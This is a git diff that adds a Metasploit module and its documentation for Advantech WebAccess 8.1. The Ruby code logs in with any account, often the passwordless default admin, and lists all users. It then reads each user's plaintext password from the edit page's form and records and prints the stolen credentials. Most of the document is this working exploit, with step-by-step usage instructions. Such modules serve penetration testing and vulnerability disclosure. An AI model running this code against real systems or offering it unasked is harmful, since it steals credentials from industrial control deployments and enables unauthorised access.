diff --git a/documentation/modules/auxiliary/gather/advantech_webaccess_creds.md b/documentation/modules/auxiliary/gather/advantech_webaccess_creds.md new file mode 100644 index 0000000000..d67840386a --- /dev/null +++ b/documentation/modules/auxiliary/gather/advantech_webaccess_creds.md @@ -0,0 +1,47 @@ +## Description + +This module exploits three vulnerabilities in Advantech WebAccess. + +The first vulnerability is the ability for an arbitrary user to access the admin user list page, +revealing the username of every user on the system. + +The second vulnerability is the user edit page can be accessed loaded by an arbitrary user, with +the data of an arbitrary user. + +The final vulnerability exploited is that the HTML Form on the user edit page contains the user's +plain text password in the masked password input box. Typically the system should replace the +actual password with a masked character such as "*". + + +## Vulnerable Application + +Version 8.1 was tested during development: + +http://advcloudfiles.advantech.com/web/Download/webaccess/8.1/AdvantechWebAccessUSANode8.1_20151230.exe + +8.2 is not vulnerable to this. + +## Verification Steps + +1. Start msfconsole +2. ```use auxiliary/gahter/advantech_webaccess_creds``` +3. ```set WEBACCESSUSER [USER]``` +4. ```set WEBACCESSPASS [PASS]``` +5. ```run``` + +## Options + +**WEBACCESSUSER** + +The username to use to log into Advantech WebAccess. By default, there is a built-in account +```admin``` that you could use. + +**WEBACCESSPASS** + +The password to use to log into AdvanTech WebAccess. By default, the built-in account ```admin``` +does not have a password, which could be something you can use. + + +## Demo + +![webaccess_steal_creds](https://cloud.githubusercontent.com/assets/1170914/22353246/34b2045e-e3e5-11e6-992c-f3ab9dcbe716.gif) diff --git a/modules/auxiliary/gather/advantech_webaccess_creds.rb b/modules/auxiliary/gather/advantech_webaccess_creds.rb new file mode 100644 index 0000000000..61b9a30a37 --- /dev/null +++ b/modules/auxiliary/gather/advantech_webaccess_creds.rb @@ -0,0 +1,175 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "Advantech WebAccess 8.1 Post Authentication Credential Collector", + 'Description' => %q{ + This module allows you to log into Advantech WebAccess 8.1, and collect all of the credentials. + Although authentication is required, any level of user permission can exploit this vulnerability. + + Note that 8.2 is not suitable for this. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'h00die', # Pointed out the obvious during a PR review for CVE-2017-5154 + 'sinn3r', # Metasploit module + ], + 'References' => + [ + ['URL', 'https://github.com/rapid7/metasploit-framework/pull/7859#issuecomment-274305229'] + ], + 'DisclosureDate' => "Jan 21 2017" + )) + + register_options( + [ + OptString.new('WEBACCESSUSER', [true, 'Username for Advantech WebAccess', 'admin']), + OptString.new('WEBACCESSPASS', [false, 'Password for Advantech WebAccess', '']), + OptString.new('TARGETURI', [true, 'The base path to Advantech WebAccess', '/']), + ], self.class) + end + + def do_login + vprint_status("Attempting to login as '#{datastore['WEBACCESSUSER']}:#{datastore['WEBACCESSPASS']}'") + + uri = normalize_uri(target_uri.path, 'broadweb', 'user', 'signin.asp') + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => uri, + 'vars_post' => { + 'page' => '/', + 'pos' => '', + 'username' => datastore['WEBACCESSUSER'], + 'password' => datastore['WEBACCESSPASS'], + 'remMe' => '', + 'submit1' => 'Login' + } + }) + + unless res + fail_with(Failure::Unknown, 'Connection timed out while trying to login') + end + + if res.headers['Location'] && res.headers['Location'] == '/broadweb/bwproj.asp' + print_good("Logged in as #{datastore['WEBACCESSUSER']}") + report_cred( + user: datastore['WEBACCESSUSER'], + password: datastore['WEBACCESSPASS'], + status: Metasploit::Model::Login::Status::SUCCESSFUL + ) + return res.get_cookies.scan(/(ASPSESSIONID\w+=\w+);/).flatten.first || '' + end + + print_error("Unable to login as '#{datastore['WEBACCESSUSER']}:#{datastore['WEBACCESSPASS']}'") + + nil + end + + def get_user_cred_detail(sid, user) + vprint_status("Gathering password for user: #{user}") + + uri = normalize_uri(target_uri.path, 'broadWeb','user', 'upAdminPg.asp') + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => uri, + 'cookie' => sid, + 'vars_get' => { + 'uname' => user + } + }) + + unless res + print_error("Unable to gather password for user #{user} due to a connection timeout") + return nil + end + + html = res.get_html_document + pass_field = html.at('input[@name="Password"]') + + pass_field ? pass_field.attributes['value'].text : nil + end + + def get_users_page(sid) + vprint_status("Checking user page...") + + uri = normalize_uri(target_uri.path, 'broadWeb', 'user', 'AdminPg.asp') + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => uri, + 'cookie' => sid + }) + + unless res + fail_with(Failure::Unknown, 'Connection timed out while checking AdminPg.asp') + end + + html = res.get_html_document + + users = html.search('a').map { |a| + Rex::Text.uri_decode(a.attributes['href'].text.scan(/broadWeb\/user\/upAdminPg\.asp\?uname=(.+)/).flatten.first || '') + }.delete_if { |user| user.blank? } + + users + end + + def report_cred(opts) + service_data = { + address: rhost, + port: rport, + service_name: 'webaccess', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: opts[:status], + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + + def run + cookie = do_login + users = get_users_page(cookie) + + users.each do |user| + pass = get_user_cred_detail(cookie, user) + + if pass + report_cred( + user: user, + password: pass, + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: 'AdminPg.asp' + ) + + print_good("Found password: #{user}:#{pass}") + end + end + end + +end